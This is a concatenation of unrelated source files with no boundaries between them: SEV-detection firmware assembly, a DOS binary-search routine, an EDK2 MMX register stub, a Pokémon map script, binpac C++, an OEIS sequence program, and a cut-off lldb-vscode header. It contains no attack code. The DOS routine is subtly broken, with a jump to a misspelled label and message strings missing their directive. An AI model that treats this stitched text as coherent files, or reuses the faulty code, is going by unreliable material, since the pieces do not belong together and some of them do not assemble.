Table Entries (512 * 4KB entries => 2MB) ; mov ecx, 512 pageTableEntries4kLoop: mov eax, ecx dec eax shl eax, 12 add eax, GHCB_BASE & 0xFFE0_0000 add eax, PAGE_4K_PDE_ATTR mov [ecx * 8 + GHCB_PT_ADDR - 8], eax mov [(ecx * 8 + GHCB_PT_ADDR - 8) + 4], edx loop pageTableEntries4kLoop ; ; Clear the encryption bit from the GHCB entry ; mov ecx, (GHCB_BASE & 0x1F_FFFF) >> 12 mov [ecx * 8 + GHCB_PT_ADDR + 4], strict dword 0 mov ecx, GHCB_SIZE / 4 xor eax, eax clearGhcbMemoryLoop: mov dword[ecx * 4 + GHCB_BASE - 4], eax loop clearGhcbMemoryLoop SevClearPageEncMaskForGhcbPageExit: OneTimeCallRet SevClearPageEncMaskForGhcbPage ; Check if SEV is enabled, and get the C-bit mask above 31. ; Modified: EDX ; ; The value is returned in the EDX GetSevCBitMaskAbove31: xor edx, edx ; Check if SEV is enabled cmp byte[WORK_AREA_GUEST_TYPE], 1 jnz GetSevCBitMaskAbove31Exit mov edx, dword[SEV_ES_WORK_AREA_ENC_MASK + 4] GetSevCBitMaskAbove31Exit: OneTimeCallRet GetSevCBitMaskAbove31 ; Check if Secure Encrypted Virtualization (SEV) features are enabled. ; ; Register usage is tight in this routine, so multiple calls for the ; same CPUID and MSR data are performed to keep things simple. ; ; Modified: EAX, EBX, ECX, EDX, ESP ; ; If SEV is enabled then EAX will be at least 32. ; If SEV is disabled then EAX will be zero. ; CheckSevFeatures: ; Set the first byte of the workarea to zero to communicate to the SEC ; phase that SEV-ES is not enabled. If SEV-ES is enabled, the CPUID ; instruction will trigger a #VC exception where the first byte of the ; workarea will be set to one or, if CPUID is not being intercepted, ; the MSR check below will set the first byte of the workarea to one. mov byte[SEV_ES_WORK_AREA], 0 ; ; Set up exception handlers to check for SEV-ES ; Load temporary RAM stack based on PCDs (see SevEsIdtVmmComm for ; stack usage) ; Establish exception handlers ; mov esp, SEV_ES_VC_TOP_OF_STACK mov eax, ADDR_OF(Idtr) lidt [cs:eax] ; Check if we have a valid (0x8000_001F) CPUID leaf ; CPUID raises a #VC exception if running as an SEV-ES guest mov eax, 0x80000000 cpuid ; This check should fail on Intel or Non SEV AMD CPUs. In future if ; Intel CPUs supports this CPUID leaf then we are guranteed to have exact ; same bit definition. cmp eax, 0x8000001f jl NoSev ; Check for SEV memory encryption feature: ; CPUID Fn8000_001F[EAX] - Bit 1 ; CPUID raises a #VC exception if running as an SEV-ES guest mov eax, 0x8000001f cpuid bt eax, 1 jnc NoSev ; Check if SEV memory encryption is enabled ; MSR_0xC0010131 - Bit 0 (SEV enabled) mov ecx, SEV_STATUS_MSR rdmsr bt eax, 0 jnc NoSev ; Set the work area header to indicate that the SEV is enabled mov byte[WORK_AREA_GUEST_TYPE], 1 ; Check for SEV-ES memory encryption feature: ; CPUID Fn8000_001F[EAX] - Bit 3 ; CPUID raises a #VC exception if running as an SEV-ES guest mov eax, 0x8000001f cpuid bt eax, 3 jnc GetSevEncBit ; Check if SEV-ES is enabled ; MSR_0xC0010131 - Bit 1 (SEV-ES enabled) mov ecx, SEV_STATUS_MSR rdmsr bt eax, 1 jnc GetSevEncBit ; Set the first byte of the workarea to one to communicate to the SEC ; phase that SEV-ES is enabled. mov byte[SEV_ES_WORK_AREA], 1 GetSevEncBit: ; Get pte bit position to enable memory encryption ; CPUID Fn8000_001F[EBX] - Bits 5:0 ; and ebx, 0x3f mov eax, ebx ; The encryption bit position is always above 31 sub ebx, 32 jns SevSaveMask ; Encryption bit was reported as 31 or below, enter a HLT loop SevEncBitLowHlt: cli hlt jmp SevEncBitLowHlt SevSaveMask: xor edx, edx bts edx, ebx mov dword[SEV_ES_WORK_AREA_ENC_MASK], 0 mov dword[SEV_ES_WORK_AREA_ENC_MASK + 4], edx jmp SevExit NoSev: ; ; Perform an SEV-ES sanity check by seeing if a #VC exception occurred. ; cmp byte[SEV_ES_WORK_AREA], 0 jz NoSevPass ; ; A #VC was received, yet CPUID indicates no SEV-ES support, something ; isn't right. ; NoSevEsVcHlt: cli hlt jmp NoSevEsVcHlt NoSevPass: xor eax, eax SevExit: ; ; Clear exception handlers and stack ; push eax mov eax, ADDR_OF(IdtrClear) lidt [cs:eax] pop eax mov esp, 0 OneTimeCallRet CheckSevFeatures ; Start of #VC exception handling routines ; SevEsIdtNotCpuid: TerminateVmgExit TERM_VC_NOT_CPUID iret ; ; Total stack usage for the #VC handler is 44 bytes: ; - 12 bytes for the exception IRET (after popping error code) ; - 32 bytes for the local variables. ; SevEsIdtVmmComm: ; ; If we're here, then we are an SEV-ES guest and this ; was triggered by a CPUID instruction ; ; Set the first byte of the workarea to one to communicate that ; a #VC was taken. mov byte[SEV_ES_WORK_AREA], 1 pop ecx ; Error code cmp ecx, 0x72 ; Be sure it was CPUID jne SevEsIdtNotCpuid ; Set up local variable room on the stack ; CPUID function : + 28 ; CPUID request register : + 24 ; GHCB MSR (EAX) : + 20 ; GHCB MSR (EDX) : + 16 ; CPUID result (EDX) : + 12 ; CPUID result (ECX) : + 8 ; CPUID result (EBX) : + 4 ; CPUID result (EAX) : + 0 sub esp, VC_VARIABLE_SIZE ; Save the CPUID function being requested mov [esp + VC_CPUID_FUNCTION], eax ; The GHCB CPUID protocol uses the following mapping to request ; a specific register: ; 0 => EAX, 1 => EBX, 2 => ECX, 3 => EDX ; ; Set EAX as the first register to request. This will also be used as a ; loop variable to request all register values (EAX to EDX). xor eax, eax mov [esp + VC_CPUID_REQUEST_REGISTER], eax ; Save current GHCB MSR value mov ecx, SEV_GHCB_MSR rdmsr mov [esp + VC_GHCB_MSR_EAX], eax mov [esp + VC_GHCB_MSR_EDX], edx NextReg: ; ; Setup GHCB MSR ; GHCB_MSR[63:32] = CPUID function ; GHCB_MSR[31:30] = CPUID register ; GHCB_MSR[11:0] = CPUID request protocol ; mov eax, [esp + VC_CPUID_REQUEST_REGISTER] cmp eax, 4 jge VmmDone shl eax, GHCB_CPUID_REGISTER_SHIFT mov edx, [esp + VC_CPUID_FUNCTION] VmgExit GHCB_CPUID_REQUEST, GHCB_CPUID_RESPONSE ; ; Response GHCB MSR ; GHCB_MSR[63:32] = CPUID register value ; GHCB_MSR[31:30] = CPUID register ; GHCB_MSR[11:0] = CPUID response protocol ; ; Save returned value shr eax, GHCB_CPUID_REGISTER_SHIFT mov [esp + eax * 4], edx ; Next register inc word [esp + VC_CPUID_REQUEST_REGISTER] jmp NextReg VmmDone: ; ; At this point we have all CPUID register values. Restore the GHCB MSR, ; set the return register values and return. ; mov eax, [esp + VC_GHCB_MSR_EAX] mov edx, [esp + VC_GHCB_MSR_EDX] mov ecx, SEV_GHCB_MSR wrmsr mov eax, [esp + VC_CPUID_RESULT_EAX] mov ebx, [esp + VC_CPUID_RESULT_EBX] mov ecx, [esp + VC_CPUID_RESULT_ECX] mov edx, [esp + VC_CPUID_RESULT_EDX] add esp, VC_VARIABLE_SIZE ; Update the EIP value to skip over the now handled CPUID instruction ; (the CPUID instruction has a length of 2) add word [esp], CPUID_INSN_LEN iret ALIGN 2 Idtr: dw IDT_END - IDT_BASE - 1 ; Limit dd ADDR_OF(IDT_BASE) ; Base IdtrClear: dw 0 ; Limit dd 0 ; Base ALIGN 16 ; ; The Interrupt Descriptor Table (IDT) ; This will be used to determine if SEV-ES is enabled. Upon execution ; of the CPUID instruction, a VMM Communication Exception will occur. ; This will tell us if SEV-ES is enabled. We can use the current value ; of the GHCB MSR to determine the SEV attributes. ; IDT_BASE: ; ; Vectors 0 - 28 (No handlers) ; %rep 29 dw 0 ; Offset low bits 15..0 dw 0x10 ; Selector db 0 ; Reserved db 0x8E ; Gate Type (IA32_IDT_GATE_TYPE_INTERRUPT_32) dw 0 ; Offset high bits 31..16 %endrep ; ; Vector 29 (VMM Communication Exception) ; dw (ADDR_OF(SevEsIdtVmmComm) & 0xffff) ; Offset low bits 15..0 dw 0x10 ; Selector db 0 ; Reserved db 0x8E ; Gate Type (IA32_IDT_GATE_TYPE_INTERRUPT_32) dw (ADDR_OF(SevEsIdtVmmComm) >> 16) ; Offset high bits 31..16 ; ; Vectors 30 - 31 (No handlers) ; %rep 2 dw 0 ; Offset low bits 15..0 dw 0x10 ; Selector db 0 ; Reserved db 0x8E ; Gate Type (IA32_IDT_GATE_TYPE_INTERRUPT_32) dw 0 ; Offset high bits 31..16 %endrep IDT_END:
. model small display macro msg lea dx,msg mov ah,09h int 21h endm .data list db 01h, 05h, 07h, 10h, 12h, 14h number equ ($-list) key db 10h msg1 0dh,0ah, "Element found in the list....$" msg2 0dh,0ah, "Search failed! Element not found in the list $" .code start: mov ax,@data mov ds,ax mov ch, number-1 mov cl, 00h again: mov si, offset list xor ax,ax cmp cl,ch jc next jnc failed next: mov al,cl add al,ch shr al,01h mov bl,al xor ah,ah mov bp,ax mov al,ds:[bp][si] cmp al,key je success jc inflow mov ch,bl dec ch jmp again inclow: mov cl,bl inc cl jmp again success: display msg1 jmp final failed: display msg2 final: mov ah,4ch int 21h end start
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; Module Name: ; ; WriteMm3.Asm ; ; Abstract: ; ; AsmWriteMm3 function ; ; Notes: ; ;------------------------------------------------------------------------------ DEFAULT REL SECTION .text ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; AsmWriteMm3 ( ; IN UINT64 Value ; ); ;------------------------------------------------------------------------------ global ASM_PFX(AsmWriteMm3) ASM_PFX(AsmWriteMm3): ; ; 64-bit MASM doesn't support MMX instructions, so use opcode here ; DB 0x48, 0xf, 0x6e, 0xd9 ret
object_const_def ; object_event constants const OAKSLAB_OAK const OAKSLAB_SCIENTIST1 const OAKSLAB_SCIENTIST2 const OAKSLAB_SCIENTIST3 const OAKSLAB_POKEBALL const OAKSLAB_POKEDEX1 const OAKSLAB_POKEDEX2 const OAKSLAB_RED OaksLab_MapScripts: db 4 ; scene scripts scene_script .MeetOak ; SCENE_OAKSLAB_INTRO scene_script .DummyScene1 ; SCENE_OAKSLAB_CANT_LEAVE scene_script .DummyScene2 ; SCENE_OAKSLAB_NOTHING scene_script .DummyScene3 ; SCENE_OAKSLAB_POKEDEX db 0 ; callbacks .MeetOak: ; special FadeOutPalettes disappear OAKSLAB_OAK disappear OAKSLAB_RED setevent EVENT_OAK_OUT setevent EVENT_RED_OAKS_LAB clearevent EVENT_VIRIDIAN_GRAMPS_GRUMPY setevent EVENT_VIRIDIAN_GRAMPS_OKAY turnobject PLAYER, UP ; pause 20 ; special FadeInPalettes opentext writetext OaksLab_IntroText1 waitbutton special NameRival writetext OaksLab_IntroText2 waitbutton closetext setscene SCENE_OAKSLAB_CANT_LEAVE end .DummyScene1: .DummyScene2: .DummyScene3: end OaksLab_GetDexScriptR: opentext writetext OaksLab_PlayerText6 waitbutton closetext applymovement PLAYER, OaksLab_PlayerMovement6 ;step LEFT sjump OaksLab_GetDexScript OaksLab_GetDexScriptL: opentext writetext OaksLab_PlayerText6 waitbutton closetext OaksLab_GetDexScript: turnobject OAKSLAB_RED, UP applymovement PLAYER, OaksLab_PlayerMovement7 opentext writetext OaksLab_PlayerText7 waitbutton showemote EMOTE_SHOCK, OAKSLAB_OAK, 15 writetext OaksLab_OakText7 ;Good timing! turnobject OAKSLAB_OAK, LEFT writetext OaksLab_OakText8 ;Explain Pokedex waitbutton turnobject OAKSLAB_OAK, DOWN writetext OaksLab_OakText9 ;Player and Rival, take this with you! waitbutton writetext OaksLab_GotDexText waitbutton disappear OAKSLAB_POKEDEX1 disappear OAKSLAB_POKEDEX2 playsound SFX_ITEM waitsfx setflag ENGINE_POKEDEX writetext OaksLab_OakText10 ;give pokeballs waitbutton giveitem POKE_BALL, 5 writetext OaksLab_GotPokeballsText waitbutton playsound SFX_ITEM waitsfx writetext OaksLab_OakText11 ;I'm too old waitbutton pause 15 writetext OaksLab_PlayerText8 ;Leave it all to me! waitbutton turnobject PLAYER, RIGHT writetext OaksLab_PlayerText9 ;I'll borrow a Town Map... waitbutton closetext setscene SCENE_OAKSLAB_NOTHING setmapscene BLUES_HOUSE, SCENE_BLUESHOUSE_DAISY_POKEGEAR clearevent EVENT_DAISY_AUX applymovement PLAYER, OaksLab_PlayerMovement6 applymovement PLAYER, OaksLab_PlayerMovement5 playmapmusic special FadeOutPalettes disappear OAKSLAB_RED warp BLUES_HOUSE, 2, 4 end OakScript: faceplayer opentext checkflag ENGINE_POKEDEX iftrue OaksLab_CheckPokedex writetext OaksLab_OakText1 waitbutton closetext end OaksLab_EeveeBallScript: refreshscreen pokepic EEVEE cry EEVEE waitbutton closepokepic opentext writetext OaksLab_EeveeBallText waitbutton closetext checkevent EVENT_OAK_OUT iffalse OaksLab_DoNothing ; Oak comes back moveobject OAKSLAB_OAK, 5, 7 showemote EMOTE_SHOCK, PLAYER, 15 special FadeOutMusic pause 15 applymovement PLAYER, OaksLab_PlayerMovement1 appear OAKSLAB_OAK applymovement OAKSLAB_OAK, OaksLab_OakWalksUp moveobject OAKSLAB_RED, 5, 8 turnobject OAKSLAB_OAK, DOWN appear OAKSLAB_RED applymovement OAKSLAB_RED, OaksLab_OakWalksUp clearevent EVENT_OAK_OUT special RestartMapMusic opentext writetext OaksLab_PlayerText1 waitbutton pause 15 writetext OaksLab_OakText2 waitbutton closetext showemote EMOTE_SHOCK, PLAYER, 15 opentext writetext OaksLab_PlayerText2 waitbutton writetext OaksLab_OakText3 waitbutton writetext OaksLab_RedText1 waitbutton closetext ; Red goes to get the EEVEE but Blue shoves him and snatches it applymovement OAKSLAB_RED, OaksLab_RedMovement1 showemote EMOTE_SHOCK, PLAYER, 15 pause 15 applymovement PLAYER, OaksLab_PlayerMovement2 showemote EMOTE_SHOCK, OAKSLAB_RED, 15 playsound SFX_TACKLE applymovement OAKSLAB_RED, OaksLab_RedMovement2 applymovement PLAYER, OaksLab_PlayerMovement3 opentext writetext OaksLab_PlayerText3 waitbutton disappear OAKSLAB_POKEBALL setevent EVENT_GOT_EEVEE_FROM_OAK waitsfx writetext OaksLab_ReceivedStarterText playsound SFX_CAUGHT_MON waitsfx buttonsound givepoke EEVEE, 5 givepoke MEWTWO, 100 closetext showemote EMOTE_SHOCK, OAKSLAB_OAK, 15 opentext writetext OaksLab_OakText4 waitbutton closetext turnobject PLAYER, LEFT opentext writetext OaksLab_PlayerText4 waitbutton writetext OaksLab_OakText5 waitbutton closetext applymovement OAKSLAB_RED, OaksLab_RedMovement3 opentext writetext OaksLab_OakText6 waitbutton writetext OaksLab_RivalReceivedPokemonText playsound SFX_CAUGHT_MON waitbutton closetext ; Red prepares to leave but Blue challenges him to a battle applymovement OAKSLAB_RED, OaksLab_RedMovement4 showemote EMOTE_SHOCK, PLAYER, 15 pause 15 turnobject OAKSLAB_RED, UP opentext writetext OaksLab_PlayerText5 waitbutton closetext applymovement PLAYER, OaksLab_PlayerMovement4 winlosstext RedOaksLabWinText, RedOaksLabLossText setlasttalked OAKSLAB_RED loadtrainer RIVAL1, RIVAL1_OAKSLAB loadvar VAR_BATTLETYPE, BATTLETYPE_CANLOSE startbattle dontrestartmapmusic reloadmap playmusic MUSIC_RIVAL_AFTER opentext writetext OaksLab_AfterRivalBattleText waitbutton closetext ; Blue exits (warp to his house) setscene SCENE_OAKSLAB_NOTHING setevent EVENT_BATTLED_RED_OAKSLAB setmapscene BLUES_HOUSE, SCENE_BLUESHOUSE_DAISY_TM27 setmapscene VICTORY_ROAD_GATE, SCENE_VICTORYROADGATE_CHECKBADGE clearevent EVENT_RED_OAKS_LAB special HealParty applymovement PLAYER, OaksLab_PlayerMovement5 playmapmusic special FadeOutPalettes disappear OAKSLAB_RED warp BLUES_HOUSE, 2, 4 end OaksLab_DoNothing: end OaksLab_PokedexScript: opentext writetext OaksLab_PokedexText waitbutton closetext end OaksLab_RedScript: faceplayer opentext writetext OaksLab_RedText1 waitbutton closetext end OaksLab_TryToLeaveScript: checkevent EVENT_OAK_OUT iffalse OaksLab_DoNothing ; checkevent EVENT_BATTLED_RED_OAKSLAB ; iftrue OaksLab_DoNothing opentext writetext OaksLab_CantLeaveText waitbutton closetext applymovement PLAYER, OaksLab_CantLeaveMovement end OaksLab_CheckPokedex: writetext OakLabDexCheckText waitbutton special ProfOaksPCBoot writetext OakLabGoodbyeText waitbutton closetext end OaksAssistant1Script: jumptextfaceplayer OaksAssistant1Text OaksAssistant2Script: jumptextfaceplayer OaksAssistant2Text OaksAssistant3Script: jumptextfaceplayer OaksAssistant3Text OaksLabBookshelf: jumpstd difficultbookshelf OaksLabPoster1: jumptext OaksLabPoster1Text OaksLabPoster2: jumptext OaksLabPoster2Text OaksLabTrashcan: jumptext OaksLabTrashcanText OaksLabPC: jumptext OaksLabPCText OaksLab_IntroText1: text "Heh! This is it!" para "Gramps said he" line "was giving me a" cont "#MON today!" para "…" para "Though he isn't" line "here yet." para "And it seems" line "that loser isn't" cont "here either…" done OaksLab_IntroText2: text "Sigh… Guess it's" line "waiting for me," cont "then! I hope he" cont "gets back soon!" done OaksLab_CantLeaveText: text "I should wait" line "for Gramps to" cont "come back." done OaksLab_OakText1: text "<PLAYER>…" para "You should really" line "be more patient." para "Please take good" line "care of EEVEE." done OaksLab_OakText2: text "OAK: Hmm? <PLAYER>?" line "Why are you here" cont "already?" para "I said for you to" line "come by later…" para "Ah, whatever!" line "Just wait there." para "Look, <RIVAL>! Do" line "you see that ball" cont "on the table?" para "It's called a #" line "BALL. It holds a" cont "#MON inside." para "You may have it!" line "Go on, take it!" done OaksLab_OakText3: text "OAK: Be patient," line "<PLAYER>, I'll give" cont "you one later." done OaksLab_OakText4: text "OAK: <PLAYER>! What" line "are you doing?" done OaksLab_OakText5: text "OAK: But, I… Oh," line "all right then." cont "That #MON is" cont "yours." para "I was going to" line "give you one" cont "anyway…" para "<RIVAL>, come over" line "here." done OaksLab_OakText6: text "OAK: <RIVAL>, this" line "is the #MON I" cont "caught earlier." para "You can have it." line "I caught it in" cont "the wild and it's" cont "not tame yet." done OaksLab_RivalReceivedPokemonText: text "<RIVAL> received a" line "PIKACHU!" done OaksLab_PlayerText1: text "<PLAYER>: Gramps!" line "I'm fed up with" cont "waiting!" done OaksLab_PlayerText2: text "<PLAYER>: Hey!" line "Gramps! What" cont "about me?" done OaksLab_PlayerText3: text "<PLAYER>: No way!" line "<RIVAL>, I want" cont "this #MON!" done OaksLab_PlayerText4: text "<PLAYER>: Gramps, I" line "want this one!" done OaksLab_PlayerText5: text "<PLAYER>: Wait," line "<RIVAL>!" cont "Let's check out" cont "our #MON!" para "Come on, I'll take" line "you on!" done OaksLab_PlayerText6: text "<PLAYER>: Gramps!" done OaksLab_PlayerText7: text "<PLAYER>: Gramps," line "my #MON has" cont "grown stronger!" cont "Check it out!" done OaksLab_PlayerText8: text "<PLAYER>: Alright" line "Gramps! Leave it" cont "all to me!" done OaksLab_PlayerText9: text "<RIVAL>, I hate to" line "say it, but I" cont "don't need you!" para "I know! I'll" line "borrow a TOWN MAP" cont "from my sis!" para "I'll tell her not" line "to lend you one," cont "<RIVAL>! Hahaha!" done OaksLab_OakText7: text "OAK: Ah, <PLAYER>," line "good timing!" para "I needed to ask" line "both of you to do" cont "something for me." done OaksLab_OakText8: text "On the desk there" line "is my invention," cont "the #DEX!" para "It automatically" line "records data on" cont "#MON you've" cont "seen or caught!" para "It's a hi-tech" line "encyclopedia" done OaksLab_OakText9: text "OAK: <RIVAL> and" line "<PLAYER>! Take" cont "these with you!" done OaksLab_OakText10: text "And here, use these" line "to catch #MON!" done OaksLab_GotPokeballsText: text "<PLAYER> got" line "5 # BALLS!" done OaksLab_OakText11: text "To make a complete" line "guide on all the" cont "#MON in the" cont "world" para "That was my dream!" para "But, I'm too old!" line "I can't do it!" para "So, I want you two" line "to fulfill my" cont "dream for me!" para "Get moving, you" line "two!" para "This is a great" line "undertaking in" cont "#MON history!" done OaksLab_GotDexText: text "<PLAYER> got" line "#DEX from OAK!" done OaksLab_ReceivedStarterText: text "<PLAYER> snatched" line "the #MON!" done OaksLab_RedText1: text "<RIVAL>: <……>" line "<……>" done OaksLab_EeveeBallText: text "It's an EEVEE." para "I really hope" line "Gramps gives it" cont "to me today." done RedOaksLabWinText: text "<RIVAL>: <……>" para "<PLAYER>: Heh!" line "Am I great or" cont "what?" done RedOaksLabLossText: text "<RIVAL>: <……>" para "<PLAYER>: What?" line "I picked the" cont "wrong #MON!" done OaksLab_AfterRivalBattleText: text "Okay! I'll make my" line "#MON fight to" cont "toughen it up!" para "<RIVAL>, Gramps!" line "Smell ya later!" done OaksLab_PokedexText: text "This must be" line "what Gramps has" cont "been working on." para "It's encyclopedia-" line "like, but the" cont "pages are blank." done OakLabDexCheckText: text "How is your #-" line "DEX coming?" para "Let's see…" done OakLabGoodbyeText: text "If you're in the" line "area, I hope you" cont "come visit again." done OaksAssistant1Text: text "The PROF's #MON" line "TALK radio program" para "isn't aired here" line "in KANTO." para "It's a shame--I'd" line "like to hear it." done OaksAssistant2Text: text "Thanks to your" line "work on the #-" cont "DEX, the PROF's" para "research is coming" line "along great." done OaksAssistant3Text: text "Don't tell anyone," line "but PROF.OAK'S" para "#MON TALK isn't" line "a live broadcast." done OaksLabPoster1Text: text "Press START to" line "open the MENU." done OaksLabPoster2Text: text "The SAVE option is" line "on the MENU." para "Use it in a timely" line "manner." done OaksLabTrashcanText: text "There's nothing in" line "here…" done OaksLabPCText: text "There's an e-mail" line "message on the PC." para "…" para "Calling all" line "#MON trainers!" para "The elite trainers" line "of #MON LEAGUE" cont "are ready to take" cont "on all comers!" para "Bring your best" line "#MON and see" cont "how you rate as a" cont "trainer!" para "#MON LEAGUE HQ" line "INDIGO PLATEAU" para "PS: PROF. OAK," line "please visit us!" cont "…" done OaksLab_CantLeaveMovement: step UP step_end OaksLab_PlayerMovement1: step LEFT step LEFT step LEFT step UP step_end OaksLab_PlayerMovement2: step DOWN step RIGHT step RIGHT step_end OaksLab_PlayerMovement3: step RIGHT turn_head UP step_end OaksLab_PlayerMovement4: step LEFT step LEFT step DOWN step DOWN step_end OaksLab_PlayerMovement5: step DOWN step DOWN step DOWN step DOWN step DOWN step_end OaksLab_PlayerMovement6: step LEFT step_end OaksLab_PlayerMovement7: step UP step UP step UP step UP step_end OaksLab_RedMovement1: step DOWN step RIGHT step RIGHT turn_head UP step_end OaksLab_RedMovement2: step RIGHT step_end OaksLab_RedMovement3: step DOWN step LEFT step LEFT step LEFT step UP step UP step_end OaksLab_RedMovement4: step DOWN step DOWN step DOWN step DOWN step_end OaksLab_OakWalksUp: step UP step UP step UP step UP step UP step_end OaksLab_MapEvents: db 0, 0 ; filler db 2 ; warp events warp_event 4, 11, PALLET_TOWN, 3 warp_event 5, 11, PALLET_TOWN, 3 db 4 ; coord events coord_event 4, 6, SCENE_OAKSLAB_CANT_LEAVE, OaksLab_TryToLeaveScript coord_event 5, 6, SCENE_OAKSLAB_CANT_LEAVE, OaksLab_TryToLeaveScript coord_event 4, 7, SCENE_OAKSLAB_POKEDEX, OaksLab_GetDexScriptL coord_event 5, 7, SCENE_OAKSLAB_POKEDEX, OaksLab_GetDexScriptR db 16 ; bg events bg_event 6, 1, BGEVENT_READ, OaksLabBookshelf bg_event 7, 1, BGEVENT_READ, OaksLabBookshelf bg_event 8, 1, BGEVENT_READ, OaksLabBookshelf bg_event 9, 1, BGEVENT_READ, OaksLabBookshelf bg_event 0, 7, BGEVENT_READ, OaksLabBookshelf bg_event 1, 7, BGEVENT_READ, OaksLabBookshelf bg_event 2, 7, BGEVENT_READ, OaksLabBookshelf bg_event 3, 7, BGEVENT_READ, OaksLabBookshelf bg_event 6, 7, BGEVENT_READ, OaksLabBookshelf bg_event 7, 7, BGEVENT_READ, OaksLabBookshelf bg_event 8, 7, BGEVENT_READ, OaksLabBookshelf bg_event 9, 7, BGEVENT_READ, OaksLabBookshelf bg_event 4, 0, BGEVENT_READ, OaksLabPoster1 bg_event 5, 0, BGEVENT_READ, OaksLabPoster2 bg_event 9, 3, BGEVENT_READ, OaksLabTrashcan bg_event 0, 1, BGEVENT_READ, OaksLabPC db 8 ; object events object_event 5, 2, SPRITE_OAK, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, OakScript, EVENT_OAK_OUT ; object_event 1, 8, SPRITE_SCIENTIST, SPRITEMOVEDATA_WALK_LEFT_RIGHT, 1, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, OaksAssistant1Script, -1 object_event 8, 9, SPRITE_SCIENTIST, SPRITEMOVEDATA_WALK_UP_DOWN, 0, 1, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, OaksAssistant2Script, -1 object_event 2, 10, SPRITE_SCIENTIST, SPRITEMOVEDATA_WANDER, 1, 1, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, OaksAssistant3Script, -1 object_event 7, 3, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 1, 1, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, OaksLab_EeveeBallScript, EVENT_GOT_EEVEE_FROM_OAK ;Ball w/ Eevee object_event 2, 1, SPRITE_POKEDEX, SPRITEMOVEDATA_STILL, 1, 1, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, OaksLab_PokedexScript, -1 ;Dex1 object_event 3, 1, SPRITE_POKEDEX, SPRITEMOVEDATA_STILL, 1, 1, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, OaksLab_PokedexScript, -1 ;Dex2 object_event 5, 3, SPRITE_SILVER, SPRITEMOVEDATA_SPINRANDOM_SLOW, 1, 1, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, OaksLab_RedScript, EVENT_RED_OAKS_LAB ; Red
#include "pac_exception.h" #include "pac_id.h" #include "pac_output.h" #include "pac_utils.h" #include "pac_dataptr.h" DataPtr::DataPtr(Env* env, const ID* id, const int offset) : id_(id), offset_(offset) { if ( id_ ) { if ( ! env->Evaluated(id_) ) throw ExceptionIDNotEvaluated(id_); if ( offset_ == 0 ) ptr_expr_ = strfmt("%s", env->RValue(id_)); else ptr_expr_ = strfmt("(%s + %d)", env->RValue(id_), offset_); } else ptr_expr_ = "(null id)"; } int DataPtr::AbsOffset(const ID* base_ptr) const { return ( id() == base_ptr ) ? offset() : -1; } char* DataPtr::AbsOffsetExpr(Env* env, const ID* base_ptr) const { if ( AbsOffset(base_ptr) >= 0 ) return nfmt("%d", offset()); else return nfmt("(%s - %s)", ptr_expr(), env->RValue(base_ptr)); } void DataPtr::GenBoundaryCheck(Output* out_cc, Env* env, const char* data_size, const char* data_name) const { ASSERT(id_); out_cc->println("// Checking out-of-bound for \"%s\"", data_name); out_cc->println("if ( %s + (%s) > %s || %s + (%s) < %s )", ptr_expr(), data_size, env->RValue(end_of_data), ptr_expr(), data_size, ptr_expr()); out_cc->inc_indent(); out_cc->println("{"); char* data_offset = AbsOffsetExpr(env, begin_of_data); out_cc->println("// Handle out-of-bound condition"); out_cc->println("throw binpac::ExceptionOutOfBound(\"%s\",", data_name); out_cc->println(" (%s) + (%s), ", data_offset, data_size); out_cc->println(" (%s) - (%s));", env->RValue(end_of_data), env->RValue(begin_of_data)); delete [] data_offset; out_cc->println("}"); out_cc->dec_indent(); }
; A108035: Triangle read by rows: n-th row is n-th nonzero Fibonacci number repeated n times. ; 1,2,2,3,3,3,5,5,5,5,8,8,8,8,8,13,13,13,13,13,13,21,21,21,21,21,21,21,34,34,34,34,34,34,34,34,55,55,55,55,55,55,55,55,55,89,89,89,89,89,89,89,89,89,89,144,144,144,144,144,144,144,144,144,144,144,233,233,233,233,233,233,233,233,233,233,233,233,377,377,377,377,377,377,377,377,377,377,377,377,377,610,610,610,610,610,610,610,610,610,610,610,610,610,610,987,987,987,987,987,987,987,987,987,987,987,987,987,987,987,1597,1597,1597,1597,1597,1597,1597,1597,1597,1597,1597,1597,1597,1597,1597,1597,2584,2584,2584,2584,2584,2584,2584,2584,2584,2584,2584,2584,2584,2584,2584,2584,2584,4181,4181,4181,4181,4181,4181,4181,4181,4181,4181,4181,4181,4181,4181,4181,4181,4181,4181,6765,6765,6765,6765,6765,6765,6765,6765,6765,6765,6765,6765,6765,6765,6765,6765,6765,6765,6765,10946,10946,10946,10946,10946,10946,10946,10946,10946,10946,10946,10946,10946,10946,10946,10946,10946,10946,10946,10946,17711,17711,17711,17711,17711,17711,17711,17711,17711,17711,17711,17711,17711,17711,17711,17711,17711,17711,17711,17711,17711,28657,28657,28657,28657,28657,28657,28657,28657,28657,28657,28657,28657,28657,28657,28657,28657,28657,28657,28657 lpb $0 sub $0,1 add $2,1 trn $0,$2 trn $1,1 add $3,3 sub $4,$4 add $4,$1 mov $1,$3 sub $1,1 add $1,$4 mov $3,$4 lpe trn $1,1 add $1,1
//===-- lldb-vscode.cpp -----------------------------------------*- C++ -*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #include <assert.h> #include <limits.h> #include <stdarg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #if defined(_WIN32) // We need to #define NOMINMAX in order to skip `min()` and `max()` macro // definitions that conflict with other system headers. // We also need to #undef GetObject (which is defined to GetObjectW) because // the JSON code we use also has methods named `GetObject()` and we conflict // against these. #define NOMINMAX #include <windows.h> #undef GetObject #include <io.h> #else #include <netinet/in.h> #include <sys/socket.h> 